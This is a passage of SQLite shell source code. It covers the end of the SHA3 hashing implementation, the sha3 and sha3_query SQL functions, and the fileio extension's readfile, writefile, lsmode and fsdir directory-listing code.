a32 = b2 ^((~b3)& b4 );
a03 = b3 ^((~b4)& b0 );
a24 = b4 ^((~b0)& b1 );
b3 = ROL64((a20^d0), 41);
b4 = ROL64((a41^d1), 2);
b0 = ROL64((a12^d2), 62);
b1 = ROL64((a33^d3), 55);
b2 = ROL64((a04^d4), 39);
a20 = b0 ^((~b1)& b2 );
a41 = b1 ^((~b2)& b3 );
a12 = b2 ^((~b3)& b4 );
a33 = b3 ^((~b4)& b0 );
a04 = b4 ^((~b0)& b1 );
c0 = a00^a30^a10^a40^a20;
c1 = a21^a01^a31^a11^a41;
c2 = a42^a22^a02^a32^a12;
c3 = a13^a43^a23^a03^a33;
c4 = a34^a14^a44^a24^a04;
d0 = c4^ROL64(c1, 1);
d1 = c0^ROL64(c2, 1);
d2 = c1^ROL64(c3, 1);
d3 = c2^ROL64(c4, 1);
d4 = c3^ROL64(c0, 1);
b0 = (a00^d0);
b1 = ROL64((a01^d1), 44);
b2 = ROL64((a02^d2), 43);
b3 = ROL64((a03^d3), 21);
b4 = ROL64((a04^d4), 14);
a00 = b0 ^((~b1)& b2 );
a00 ^= RC[i+3];
a01 = b1 ^((~b2)& b3 );
a02 = b2 ^((~b3)& b4 );
a03 = b3 ^((~b4)& b0 );
a04 = b4 ^((~b0)& b1 );
b2 = ROL64((a10^d0), 3);
b3 = ROL64((a11^d1), 45);
b4 = ROL64((a12^d2), 61);
b0 = ROL64((a13^d3), 28);
b1 = ROL64((a14^d4), 20);
a10 = b0 ^((~b1)& b2 );
a11 = b1 ^((~b2)& b3 );
a12 = b2 ^((~b3)& b4 );
a13 = b3 ^((~b4)& b0 );
a14 = b4 ^((~b0)& b1 );
b4 = ROL64((a20^d0), 18);
b0 = ROL64((a21^d1), 1);
b1 = ROL64((a22^d2), 6);
b2 = ROL64((a23^d3), 25);
b3 = ROL64((a24^d4), 8);
a20 = b0 ^((~b1)& b2 );
a21 = b1 ^((~b2)& b3 );
a22 = b2 ^((~b3)& b4 );
a23 = b3 ^((~b4)& b0 );
a24 = b4 ^((~b0)& b1 );
b1 = ROL64((a30^d0), 36);
b2 = ROL64((a31^d1), 10);
b3 = ROL64((a32^d2), 15);
b4 = ROL64((a33^d3), 56);
b0 = ROL64((a34^d4), 27);
a30 = b0 ^((~b1)& b2 );
a31 = b1 ^((~b2)& b3 );
a32 = b2 ^((~b3)& b4 );
a33 = b3 ^((~b4)& b0 );
a34 = b4 ^((~b0)& b1 );
b3 = ROL64((a40^d0), 41);
b4 = ROL64((a41^d1), 2);
b0 = ROL64((a42^d2), 62);
b1 = ROL64((a43^d3), 55);
b2 = ROL64((a44^d4), 39);
a40 = b0 ^((~b1)& b2 );
a41 = b1 ^((~b2)& b3 );
a42 = b2 ^((~b3)& b4 );
a43 = b3 ^((~b4)& b0 );
a44 = b4 ^((~b0)& b1 );
}
}
/*
** Initialize a new hash. iSize determines the size of the hash
** in bits and should be one of 224, 256, 384, or 512. Or iSize
** can be zero to use the default hash size of 256 bits.
*/
static void SHA3Init(SHA3Context *p, int iSize){
memset(p, 0, sizeof(*p));
if( iSize>=128 && iSize<=512 ){
p->nRate = (1600 - ((iSize + 31)&~31)*2)/8;
}else{
p->nRate = (1600 - 2*256)/8;
}
#if SHA3_BYTEORDER==1234
/* Known to be little-endian at compile-time. No-op */
#elif SHA3_BYTEORDER==4321
p->ixMask = 7; /* Big-endian */
#else
{
static unsigned int one = 1;
if( 1==*(unsigned char*)&one ){
/* Little endian. No byte swapping. */
p->ixMask = 0;
}else{
/* Big endian. Byte swap. */
p->ixMask = 7;
}
}
#endif
}
/*
** Make consecutive calls to the SHA3Update function to add new content
** to the hash
*/
static void SHA3Update(
SHA3Context *p,
const unsigned char *aData,
unsigned int nData
){
unsigned int i = 0;
#if SHA3_BYTEORDER==1234
if( (p->nLoaded % 8)==0 && ((aData - (const unsigned char*)0)&7)==0 ){
for(; i+7<nData; i+=8){
p->u.s[p->nLoaded/8] ^= *(u64*)&aData[i];
p->nLoaded += 8;
if( p->nLoaded>=p->nRate ){
KeccakF1600Step(p);
p->nLoaded = 0;
}
}
}
#endif
for(; i<nData; i++){
#if SHA3_BYTEORDER==1234
p->u.x[p->nLoaded] ^= aData[i];
#elif SHA3_BYTEORDER==4321
p->u.x[p->nLoaded^0x07] ^= aData[i];
#else
p->u.x[p->nLoaded^p->ixMask] ^= aData[i];
#endif
p->nLoaded++;
if( p->nLoaded==p->nRate ){
KeccakF1600Step(p);
p->nLoaded = 0;
}
}
}
/*
** After all content has been added, invoke SHA3Final() to compute
** the final hash. The function returns a pointer to the binary
** hash value.
*/
static unsigned char *SHA3Final(SHA3Context *p){
unsigned int i;
if( p->nLoaded==p->nRate-1 ){
const unsigned char c1 = 0x86;
SHA3Update(p, &c1, 1);
}else{
const unsigned char c2 = 0x06;
const unsigned char c3 = 0x80;
SHA3Update(p, &c2, 1);
p->nLoaded = p->nRate - 1;
SHA3Update(p, &c3, 1);
}
for(i=0; i<p->nRate; i++){
p->u.x[i+p->nRate] = p->u.x[i^p->ixMask];
}
return &p->u.x[p->nRate];
}
/* End of the hashing logic
*****************************************************************************/
/*
** Implementation of the sha3(X,SIZE) function.
**
** Return a BLOB which is the SIZE-bit SHA3 hash of X. The default
** size is 256. If X is a BLOB, it is hashed as is.
** For all other non-NULL types of input, X is converted into a UTF-8 string
** and the string is hashed without the trailing 0x00 terminator. The hash
** of a NULL value is NULL.
*/
static void sha3Func(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
SHA3Context cx;
int eType = sqlite3_value_type(argv[0]);
int nByte = sqlite3_value_bytes(argv[0]);
int iSize;
if( argc==1 ){
iSize = 256;
}else{
iSize = sqlite3_value_int(argv[1]);
if( iSize!=224 && iSize!=256 && iSize!=384 && iSize!=512 ){
sqlite3_result_error(context, "SHA3 size should be one of: 224 256 "
"384 512", -1);
return;
}
}
if( eType==SQLITE_NULL ) return;
SHA3Init(&cx, iSize);
if( eType==SQLITE_BLOB ){
SHA3Update(&cx, sqlite3_value_blob(argv[0]), nByte);
}else{
SHA3Update(&cx, sqlite3_value_text(argv[0]), nByte);
}
sqlite3_result_blob(context, SHA3Final(&cx), iSize/8, SQLITE_TRANSIENT);
}
/* Compute a string using sqlite3_vsnprintf() with a maximum length
** of 50 bytes and add it to the hash.
*/
static void hash_step_vformat(
SHA3Context *p, /* Add content to this context */
const char *zFormat,
...
){
va_list ap;
int n;
char zBuf[50];
va_start(ap, zFormat);
sqlite3_vsnprintf(sizeof(zBuf),zBuf,zFormat,ap);
va_end(ap);
n = (int)strlen(zBuf);
SHA3Update(p, (unsigned char*)zBuf, n);
}
/*
** Implementation of the sha3_query(SQL,SIZE) function.
**
** This function compiles and runs the SQL statement(s) given in the
** argument. The results are hashed using a SIZE-bit SHA3. The default
** size is 256.
**
** The format of the byte stream that is hashed is summarized as follows:
**
** S<n>:<sql>
** R
** N
** I<int>
** F<ieee-float>
** B<size>:<bytes>
** T<size>:<text>
**
** <sql> is the original SQL text for each statement run and <n> is
** the size of that text. The SQL text is UTF-8. A single R character
** occurs before the start of each row. N means a NULL value.
** I mean an 8-byte little-endian integer <int>. F is a floating point
** number with an 8-byte little-endian IEEE floating point value <ieee-float>.
** B means blobs of <size> bytes. T means text rendered as <size>
** bytes of UTF-8. The <n> and <size> values are expressed as an ASCII
** text integers.
**
** For each SQL statement in the X input, there is one S segment. Each
** S segment is followed by zero or more R segments, one for each row in the
** result set. After each R, there are one or more N, I, F, B, or T segments,
** one for each column in the result set. Segments are concatentated directly
** with no delimiters of any kind.
*/
static void sha3QueryFunc(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
sqlite3 *db = sqlite3_context_db_handle(context);
const char *zSql = (const char*)sqlite3_value_text(argv[0]);
sqlite3_stmt *pStmt = 0;
int nCol; /* Number of columns in the result set */
int i; /* Loop counter */
int rc;
int n;
const char *z;
SHA3Context cx;
int iSize;
if( argc==1 ){
iSize = 256;
}else{
iSize = sqlite3_value_int(argv[1]);
if( iSize!=224 && iSize!=256 && iSize!=384 && iSize!=512 ){
sqlite3_result_error(context, "SHA3 size should be one of: 224 256 "
"384 512", -1);
return;
}
}
if( zSql==0 ) return;
SHA3Init(&cx, iSize);
while( zSql[0] ){
rc = sqlite3_prepare_v2(db, zSql, -1, &pStmt, &zSql);
if( rc ){
char *zMsg = sqlite3_mprintf("error SQL statement [%s]: %s",
zSql, sqlite3_errmsg(db));
sqlite3_finalize(pStmt);
sqlite3_result_error(context, zMsg, -1);
sqlite3_free(zMsg);
return;
}
if( !sqlite3_stmt_readonly(pStmt) ){
char *zMsg = sqlite3_mprintf("non-query: [%s]", sqlite3_sql(pStmt));
sqlite3_finalize(pStmt);
sqlite3_result_error(context, zMsg, -1);
sqlite3_free(zMsg);
return;
}
nCol = sqlite3_column_count(pStmt);
z = sqlite3_sql(pStmt);
if( z ){
n = (int)strlen(z);
hash_step_vformat(&cx,"S%d:",n);
SHA3Update(&cx,(unsigned char*)z,n);
}
/* Compute a hash over the result of the query */
while( SQLITE_ROW==sqlite3_step(pStmt) ){
SHA3Update(&cx,(const unsigned char*)"R",1);
for(i=0; i<nCol; i++){
switch( sqlite3_column_type(pStmt,i) ){
case SQLITE_NULL: {
SHA3Update(&cx, (const unsigned char*)"N",1);
break;
}
case SQLITE_INTEGER: {
sqlite3_uint64 u;
int j;
unsigned char x[9];
sqlite3_int64 v = sqlite3_column_int64(pStmt,i);
memcpy(&u, &v, 8);
for(j=8; j>=1; j--){
x[j] = u & 0xff;
u >>= 8;
}
x[0] = 'I';
SHA3Update(&cx, x, 9);
break;
}
case SQLITE_FLOAT: {
sqlite3_uint64 u;
int j;
unsigned char x[9];
double r = sqlite3_column_double(pStmt,i);
memcpy(&u, &r, 8);
for(j=8; j>=1; j--){
x[j] = u & 0xff;
u >>= 8;
}
x[0] = 'F';
SHA3Update(&cx,x,9);
break;
}
case SQLITE_TEXT: {
int n2 = sqlite3_column_bytes(pStmt, i);
const unsigned char *z2 = sqlite3_column_text(pStmt, i);
hash_step_vformat(&cx,"T%d:",n2);
SHA3Update(&cx, z2, n2);
break;
}
case SQLITE_BLOB: {
int n2 = sqlite3_column_bytes(pStmt, i);
const unsigned char *z2 = sqlite3_column_blob(pStmt, i);
hash_step_vformat(&cx,"B%d:",n2);
SHA3Update(&cx, z2, n2);
break;
}
}
}
}
sqlite3_finalize(pStmt);
}
sqlite3_result_blob(context, SHA3Final(&cx), iSize/8, SQLITE_TRANSIENT);
}
#ifdef _WIN32
#endif
int sqlite3_shathree_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);
(void)pzErrMsg; /* Unused parameter */
rc = sqlite3_create_function(db, "sha3", 1,
SQLITE_UTF8 | SQLITE_INNOCUOUS | SQLITE_DETERMINISTIC,
0, sha3Func, 0, 0);
if( rc==SQLITE_OK ){
rc = sqlite3_create_function(db, "sha3", 2,
SQLITE_UTF8 | SQLITE_INNOCUOUS | SQLITE_DETERMINISTIC,
0, sha3Func, 0, 0);
}
if( rc==SQLITE_OK ){
rc = sqlite3_create_function(db, "sha3_query", 1,
SQLITE_UTF8 | SQLITE_DIRECTONLY,
0, sha3QueryFunc, 0, 0);
}
if( rc==SQLITE_OK ){
rc = sqlite3_create_function(db, "sha3_query", 2,
SQLITE_UTF8 | SQLITE_DIRECTONLY,
0, sha3QueryFunc, 0, 0);
}
return rc;
}
/************************* End ../ext/misc/shathree.c ********************/
/************************* Begin ../ext/misc/fileio.c ******************/
/*
** 2014-06-13
**
** The author disclaims copyright to this source code. In place of
** a legal notice, here is a blessing:
**
** May you do good and not evil.
** May you find forgiveness for yourself and forgive others.
** May you share freely, never taking more than you give.
**
******************************************************************************
**
** This SQLite extension implements SQL functions readfile() and
** writefile(), and eponymous virtual type "fsdir".
**
** WRITEFILE(FILE, DATA [, MODE [, MTIME]]):
**
** If neither of the optional arguments is present, then this UDF
** function writes blob DATA to file FILE. If successful, the number
** of bytes written is returned. If an error occurs, NULL is returned.
**
** If the first option argument - MODE - is present, then it must
** be passed an integer value that corresponds to a POSIX mode
** value (file type + permissions, as returned in the stat.st_mode
** field by the stat() system call). Three types of files may
** be written/created:
**
** regular files: (mode & 0170000)==0100000
** symbolic links: (mode & 0170000)==0120000
** directories: (mode & 0170000)==0040000
**
** For a directory, the DATA is ignored. For a symbolic link, it is
** interpreted as text and used as the target of the link. For a
** regular file, it is interpreted as a blob and written into the
** named file. Regardless of the type of file, its permissions are
** set to (mode & 0777) before returning.
**
** If the optional MTIME argument is present, then it is interpreted
** as an integer - the number of seconds since the unix epoch. The
** modification-time of the target file is set to this value before
** returning.
**
** If three or more arguments are passed to this function and an
** error is encountered, an exception is raised.
**
** READFILE(FILE):
**
** Read and return the contents of file FILE (type blob) from disk.
**
** FSDIR:
**
** Used as follows:
**
** SELECT * FROM fsdir($path [, $dir]);
**
** Parameter $path is an absolute or relative pathname. If the file that it
** refers to does not exist, it is an error. If the path refers to a regular
** file or symbolic link, it returns a single row. Or, if the path refers
** to a directory, it returns one row for the directory, and one row for each
** file within the hierarchy rooted at $path.
**
** Each row has the following columns:
**
** name: Path to file or directory (text value).
** mode: Value of stat.st_mode for directory entry (an integer).
** mtime: Value of stat.st_mtime for directory entry (an integer).
** data: For a regular file, a blob containing the file data. For a
** symlink, a text value containing the text of the link. For a
** directory, NULL.
**
** If a non-NULL value is specified for the optional $dir parameter and
** $path is a relative path, then $path is interpreted relative to $dir.
** And the paths returned in the "name" column of the table are also
** relative to directory $dir.
*/
/* #include "sqlite3ext.h" */
SQLITE_EXTENSION_INIT1
#include <stdio.h>
#include <string.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#if !defined(_WIN32) && !defined(WIN32)
# include <unistd.h>
# include <dirent.h>
# include <utime.h>
# include <sys/time.h>
#else
# include "windows.h"
# include <io.h>
# include <direct.h>
/* # include "test_windirent.h" */
# define dirent DIRENT
# ifndef chmod
# define chmod _chmod
# endif
# ifndef stat
# define stat _stat
# endif
# define mkdir(path,mode) _mkdir(path)
# define lstat(path,buf) stat(path,buf)
#endif
#include <time.h>
#include <errno.h>
/*
** Structure of the fsdir() table-valued function
*/
/* 0 1 2 3 4 5 */
#define FSDIR_SCHEMA "(name,mode,mtime,data,path HIDDEN,dir HIDDEN)"
#define FSDIR_COLUMN_NAME 0 /* Name of the file */
#define FSDIR_COLUMN_MODE 1 /* Access mode */
#define FSDIR_COLUMN_MTIME 2 /* Last modification time */
#define FSDIR_COLUMN_DATA 3 /* File content */
#define FSDIR_COLUMN_PATH 4 /* Path to top of search */
#define FSDIR_COLUMN_DIR 5 /* Path is relative to this directory */
/*
** Set the result stored by context ctx to a blob containing the
** contents of file zName. Or, leave the result unchanged (NULL)
** if the file does not exist or is unreadable.
**
** If the file exceeds the SQLite blob size limit, through an
** SQLITE_TOOBIG error.
**
** Throw an SQLITE_IOERR if there are difficulties pulling the file
** off of disk.
*/
static void readFileContents(sqlite3_context *ctx, const char *zName){
FILE *in;
sqlite3_int64 nIn;
void *pBuf;
sqlite3 *db;
int mxBlob;
in = fopen(zName, "rb");
if( in==0 ){
/* File does not exist or is unreadable. Leave the result set to NULL. */
return;
}
fseek(in, 0, SEEK_END);
nIn = ftell(in);
rewind(in);
db = sqlite3_context_db_handle(ctx);
mxBlob = sqlite3_limit(db, SQLITE_LIMIT_LENGTH, -1);
if( nIn>mxBlob ){
sqlite3_result_error_code(ctx, SQLITE_TOOBIG);
fclose(in);
return;
}
pBuf = sqlite3_malloc64( nIn ? nIn : 1 );
if( pBuf==0 ){
sqlite3_result_error_nomem(ctx);
fclose(in);
return;
}
if( nIn==(sqlite3_int64)fread(pBuf, 1, (size_t)nIn, in) ){
sqlite3_result_blob64(ctx, pBuf, nIn, sqlite3_free);
}else{
sqlite3_result_error_code(ctx, SQLITE_IOERR);
sqlite3_free(pBuf);
}
fclose(in);
}
/*
** Implementation of the "readfile(X)" SQL function. The entire content
** of the file named X is read and returned as a BLOB. NULL is returned
** if the file does not exist or is unreadable.
*/
static void readfileFunc(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
const char *zName;
(void)(argc); /* Unused parameter */
zName = (const char*)sqlite3_value_text(argv[0]);
if( zName==0 ) return;
readFileContents(context, zName);
}
/*
** Set the error message contained in context ctx to the results of
** vprintf(zFmt, ...).
*/
static void ctxErrorMsg(sqlite3_context *ctx, const char *zFmt, ...){
char *zMsg = 0;
va_list ap;
va_start(ap, zFmt);
zMsg = sqlite3_vmprintf(zFmt, ap);
sqlite3_result_error(ctx, zMsg, -1);
sqlite3_free(zMsg);
va_end(ap);
}
#if defined(_WIN32)
/*
** This function is designed to convert a Win32 FILETIME structure into the
** number of seconds since the Unix Epoch (1970-01-01 00:00:00 UTC).
*/
static sqlite3_uint64 fileTimeToUnixTime(
LPFILETIME pFileTime
){
SYSTEMTIME epochSystemTime;
ULARGE_INTEGER epochIntervals;
FILETIME epochFileTime;
ULARGE_INTEGER fileIntervals;
memset(&epochSystemTime, 0, sizeof(SYSTEMTIME));
epochSystemTime.wYear = 1970;
epochSystemTime.wMonth = 1;
epochSystemTime.wDay = 1;
SystemTimeToFileTime(&epochSystemTime, &epochFileTime);
epochIntervals.LowPart = epochFileTime.dwLowDateTime;
epochIntervals.HighPart = epochFileTime.dwHighDateTime;
fileIntervals.LowPart = pFileTime->dwLowDateTime;
fileIntervals.HighPart = pFileTime->dwHighDateTime;
return (fileIntervals.QuadPart - epochIntervals.QuadPart) / 10000000;
}
/*
** This function attempts to normalize the time values found in the stat()
** buffer to UTC. This is necessary on Win32, where the runtime library
** appears to return these values as local times.
*/
static void statTimesToUtc(
const char *zPath,
struct stat *pStatBuf
){
HANDLE hFindFile;
WIN32_FIND_DATAW fd;
LPWSTR zUnicodeName;
extern LPWSTR sqlite3_win32_utf8_to_unicode(const char*);
zUnicodeName = sqlite3_win32_utf8_to_unicode(zPath);
if( zUnicodeName ){
memset(&fd, 0, sizeof(WIN32_FIND_DATAW));
hFindFile = FindFirstFileW(zUnicodeName, &fd);
if( hFindFile!=NULL ){
pStatBuf->st_ctime = (time_t)fileTimeToUnixTime(&fd.ftCreationTime);
pStatBuf->st_atime = (time_t)fileTimeToUnixTime(&fd.ftLastAccessTime);
pStatBuf->st_mtime = (time_t)fileTimeToUnixTime(&fd.ftLastWriteTime);
FindClose(hFindFile);
}
sqlite3_free(zUnicodeName);
}
}
#endif
/*
** This function is used in place of stat(). On Windows, special handling
** is required in order for the included time to be returned as UTC. On all
** other systems, this function simply calls stat().
*/
static int fileStat(
const char *zPath,
struct stat *pStatBuf
){
#if defined(_WIN32)
int rc = stat(zPath, pStatBuf);
if( rc==0 ) statTimesToUtc(zPath, pStatBuf);
return rc;
#else
return stat(zPath, pStatBuf);
#endif
}
/*
** This function is used in place of lstat(). On Windows, special handling
** is required in order for the included time to be returned as UTC. On all
** other systems, this function simply calls lstat().
*/
static int fileLinkStat(
const char *zPath,
struct stat *pStatBuf
){
#if defined(_WIN32)
int rc = lstat(zPath, pStatBuf);
if( rc==0 ) statTimesToUtc(zPath, pStatBuf);
return rc;
#else
return lstat(zPath, pStatBuf);
#endif
}
/*
** Argument zFile is the name of a file that will be created and/or written
** by SQL function writefile(). This function ensures that the directory
** zFile will be written to exists, creating it if required. The permissions
** for any path components created by this function are set in accordance
** with the current umask.
**
** If an OOM condition is encountered, SQLITE_NOMEM is returned. Otherwise,
** SQLITE_OK is returned if the directory is successfully created, or
** SQLITE_ERROR otherwise.
*/
static int makeDirectory(
const char *zFile
){
char *zCopy = sqlite3_mprintf("%s", zFile);
int rc = SQLITE_OK;
if( zCopy==0 ){
rc = SQLITE_NOMEM;
}else{
int nCopy = (int)strlen(zCopy);
int i = 1;
while( rc==SQLITE_OK ){
struct stat sStat;
int rc2;
for(; zCopy[i]!='/' && i<nCopy; i++);
if( i==nCopy ) break;
zCopy[i] = '\0';
rc2 = fileStat(zCopy, &sStat);
if( rc2!=0 ){
if( mkdir(zCopy, 0777) ) rc = SQLITE_ERROR;
}else{
if( !S_ISDIR(sStat.st_mode) ) rc = SQLITE_ERROR;
}
zCopy[i] = '/';
i++;
}
sqlite3_free(zCopy);
}
return rc;
}
/*
** This function does the work for the writefile() UDF. Refer to
** header comments at the top of this file for details.
*/
static int writeFile(
sqlite3_context *pCtx, /* Context to return bytes written in */
const char *zFile, /* File to write */
sqlite3_value *pData, /* Data to write */
mode_t mode, /* MODE parameter passed to writefile() */
sqlite3_int64 mtime /* MTIME parameter (or -1 to not set time) */
){
#if !defined(_WIN32) && !defined(WIN32)
if( S_ISLNK(mode) ){
const char *zTo = (const char*)sqlite3_value_text(pData);
if( symlink(zTo, zFile)<0 ) return 1;
}else
#endif
{
if( S_ISDIR(mode) ){
if( mkdir(zFile, mode) ){
/* The mkdir() call to create the directory failed. This might not
** be an error though - if there is already a directory at the same
** path and either the permissions already match or can be changed
** to do so using chmod(), it is not an error. */
struct stat sStat;
if( errno!=EEXIST
|| 0!=fileStat(zFile, &sStat)
|| !S_ISDIR(sStat.st_mode)
|| ((sStat.st_mode&0777)!=(mode&0777) && 0!=chmod(zFile, mode&0777))
){
return 1;
}
}
}else{
sqlite3_int64 nWrite = 0;
const char *z;
int rc = 0;
FILE *out = fopen(zFile, "wb");
if( out==0 ) return 1;
z = (const char*)sqlite3_value_blob(pData);
if( z ){
sqlite3_int64 n = fwrite(z, 1, sqlite3_value_bytes(pData), out);
nWrite = sqlite3_value_bytes(pData);
if( nWrite!=n ){
rc = 1;
}
}
fclose(out);
if( rc==0 && mode && chmod(zFile, mode & 0777) ){
rc = 1;
}
if( rc ) return 2;
sqlite3_result_int64(pCtx, nWrite);
}
}
if( mtime>=0 ){
#if defined(_WIN32)
#if !SQLITE_OS_WINRT
/* Windows */
FILETIME lastAccess;
FILETIME lastWrite;
SYSTEMTIME currentTime;
LONGLONG intervals;
HANDLE hFile;
LPWSTR zUnicodeName;
extern LPWSTR sqlite3_win32_utf8_to_unicode(const char*);
GetSystemTime(¤tTime);
SystemTimeToFileTime(¤tTime, &lastAccess);
intervals = Int32x32To64(mtime, 10000000) + 116444736000000000;
lastWrite.dwLowDateTime = (DWORD)intervals;
lastWrite.dwHighDateTime = intervals >> 32;
zUnicodeName = sqlite3_win32_utf8_to_unicode(zFile);
if( zUnicodeName==0 ){
return 1;
}
hFile = CreateFileW(
zUnicodeName, FILE_WRITE_ATTRIBUTES, 0, NULL, OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS, NULL
);
sqlite3_free(zUnicodeName);
if( hFile!=INVALID_HANDLE_VALUE ){
BOOL bResult = SetFileTime(hFile, NULL, &lastAccess, &lastWrite);
CloseHandle(hFile);
return !bResult;
}else{
return 1;
}
#endif
#elif defined(AT_FDCWD) && 0 /* utimensat() is not universally available */
/* Recent unix */
struct timespec times[2];
times[0].tv_nsec = times[1].tv_nsec = 0;
times[0].tv_sec = time(0);
times[1].tv_sec = mtime;
if( utimensat(AT_FDCWD, zFile, times, AT_SYMLINK_NOFOLLOW) ){
return 1;
}
#else
/* Legacy unix */
struct timeval times[2];
times[0].tv_usec = times[1].tv_usec = 0;
times[0].tv_sec = time(0);
times[1].tv_sec = mtime;
if( utimes(zFile, times) ){
return 1;
}
#endif
}
return 0;
}
/*
** Implementation of the "writefile(W,X[,Y[,Z]]])" SQL function.
** Refer to header comments at the top of this file for details.
*/
static void writefileFunc(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
const char *zFile;
mode_t mode = 0;
int res;
sqlite3_int64 mtime = -1;
if( argc<2 || argc>4 ){
sqlite3_result_error(context,
"wrong number of arguments to function writefile()", -1
);
return;
}
zFile = (const char*)sqlite3_value_text(argv[0]);
if( zFile==0 ) return;
if( argc>=3 ){
mode = (mode_t)sqlite3_value_int(argv[2]);
}
if( argc==4 ){
mtime = sqlite3_value_int64(argv[3]);
}
res = writeFile(context, zFile, argv[1], mode, mtime);
if( res==1 && errno==ENOENT ){
if( makeDirectory(zFile)==SQLITE_OK ){
res = writeFile(context, zFile, argv[1], mode, mtime);
}
}
if( argc>2 && res!=0 ){
if( S_ISLNK(mode) ){
ctxErrorMsg(context, "failed to create symlink: %s", zFile);
}else if( S_ISDIR(mode) ){
ctxErrorMsg(context, "failed to create directory: %s", zFile);
}else{
ctxErrorMsg(context, "failed to write file: %s", zFile);
}
}
}
/*
** SQL function: lsmode(MODE)
**
** Given a numberic st_mode from stat(), convert it into a human-readable
** text string in the style of "ls -l".
*/
static void lsModeFunc(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
int i;
int iMode = sqlite3_value_int(argv[0]);
char z[16];
(void)argc;
if( S_ISLNK(iMode) ){
z[0] = 'l';
}else if( S_ISREG(iMode) ){
z[0] = '-';
}else if( S_ISDIR(iMode) ){
z[0] = 'd';
}else{
z[0] = '?';
}
for(i=0; i<3; i++){
int m = (iMode >> ((2-i)*3));
char *a = &z[1 + i*3];
a[0] = (m & 0x4) ? 'r' : '-';
a[1] = (m & 0x2) ? 'w' : '-';
a[2] = (m & 0x1) ? 'x' : '-';
}
z[10] = '\0';
sqlite3_result_text(context, z, -1, SQLITE_TRANSIENT);
}
#ifndef SQLITE_OMIT_VIRTUALTABLE
/*
** Cursor type for recursively iterating through a directory structure.
*/
typedef struct fsdir_cursor fsdir_cursor;
typedef struct FsdirLevel FsdirLevel;
struct FsdirLevel {
DIR *pDir; /* From opendir() */
char *zDir; /* Name of directory (nul-terminated) */
};
struct fsdir_cursor {
sqlite3_vtab_cursor base; /* Base class - must be first */
int nLvl; /* Number of entries in aLvl[] array */
int iLvl; /* Index of current entry */
FsdirLevel *aLvl; /* Hierarchy of directories being traversed */
const char *zBase;
int nBase;
struct stat sStat; /* Current lstat() results */
char *zPath; /* Path to current entry */
sqlite3_int64 iRowid; /* Current rowid */
};
typedef struct fsdir_tab fsdir_tab;
struct fsdir_tab {
sqlite3_vtab base; /* Base class - must be first */
};
/*
** Construct a new fsdir virtual table object.
*/
static int fsdirConnect(
sqlite3 *db,
void *pAux,
int argc, const char *const*argv,
sqlite3_vtab **ppVtab,
char **pzErr
){
fsdir_tab *pNew = 0;
int rc;
(void)pAux;
(void)argc;
(void)argv;
(void)pzErr;
rc = sqlite3_declare_vtab(db, "CREATE TABLE x" FSDIR_SCHEMA);
if( rc==SQLITE_OK ){
pNew = (fsdir_tab*)sqlite3_malloc( sizeof(*pNew) );
if( pNew==0 ) return SQLITE_NOMEM;
memset(pNew, 0, sizeof(*pNew));
sqlite3_vtab_config(db, SQLITE_VTAB_DIRECTONLY);
}
*ppVtab = (sqlite3_vtab*)pNew;
return rc;
}
/*
** This method is the destructor for fsdir vtab objects.
*/
static int fsdirDisconnect(sqlite3_vtab *pVtab){
sqlite3_free(pVtab);
return SQLITE_OK;
}
/*
** Constructor for a new fsdir_cursor object.
*/
static int fsdirOpen(sqlite3_vtab *p, sqlite3_vtab_cursor **ppCursor){
fsdir_cursor *pCur;
(void)p;
pCur = sqlite3_malloc( sizeof(*pCur) );
if( pCur==0 ) return SQLITE_NOMEM;
memset(pCur, 0, sizeof(*pCur));
pCur->iLvl = -1;
*ppCursor = &pCur->base;
return SQLITE_OK;
}
/*
** Reset a cursor back to the state it was in when first returned
** by fsdirOpen().
*/
static void fsdirResetCursor(fsdir_cursor *pCur){
int i;
for(i=0; i<=pCur->iLvl; i++){
FsdirLevel *pLvl = &pCur->aLvl[i];
if( pLvl->pDir ) closedir(pLvl->pDir);
sqlite3_free(pLvl->zDir);
}
sqlite3_free(pCur->zPath);
sqlite3_free(pCur->aLvl);
pCur->aLvl = 0;
pCur->zPath = 0;
pCur->zBase = 0;
pCur->nBase = 0;
pCur->nLvl = 0;
pCur->iLvl = -1;
pCur->iRowid = 1;
}
/*
** Destructor for an fsdir_cursor.
*/
static int fsdirClose(sqlite3_vtab_cursor *cur){
fsdir_cursor *pCur = (fsdir_cursor*)cur;
fsdirResetCursor(pCur);
sqlite3_free(pCur);
return SQLITE_OK;
}
/*
** Set the error message for the virtual table associated with cursor
** pCur to the results of vprintf(zFmt, ...).
*/
static void fsdirSetErrmsg(fsdir_cursor *pCur, const char *zFmt, ...){
va_list ap;
va_start(ap, zFmt);
pCur->base.pVtab->zErrMsg = sqlite3_vmprintf(zFmt, ap);
va_end(ap);
}
/*
** Advance an fsdir_cursor to its next row of output.
*/
static int fsdirNext(sqlite3_vtab_cursor *cur){
fsdir_cursor *pCur = (fsdir_cursor*)cur;
mode_t m = pCur->sStat.st_mode;
pCur->iRowid++;
if( S_ISDIR(m) ){
/* Descend into this directory */
int iNew = pCur->iLvl + 1;
FsdirLevel *pLvl;
if( iNew>=pCur->nLvl ){
int nNew = iNew+1;
sqlite3_int64 nByte = nNew*sizeof(FsdirLevel);
FsdirLevel *aNew = (FsdirLevel*)sqlite3_realloc64(pCur->aLvl, nByte);
if( aNew==0 ) return SQLITE_NOMEM;
memset(&aNew[pCur->nLvl], 0, sizeof(FsdirLevel)*(nNew-pCur->nLvl));
pCur->aLvl = aNew;
pCur->nLvl = nNew;
}
pCur->iLvl = iNew;
pLvl = &pCur->aLvl[iNew];
pLvl->zDir = pCur->zPath;
pCur->zPath = 0;
pLvl->pDir = opendir(pLvl->zDir);
if( pLvl->pDir==0 ){
fsdirSetErrmsg(pCur, "cannot read directory: %s", pCur->zPath);
return SQLITE_ERROR;
}
}
while( pCur->iLvl>=0 ){
FsdirLevel *pLvl = &pCur->aLvl[pCur->iLvl];
struct dirent *pEntry = readdir(pLvl->pDir);
if( pEntry ){
if( pEntry->d_name[0]=='.' ){
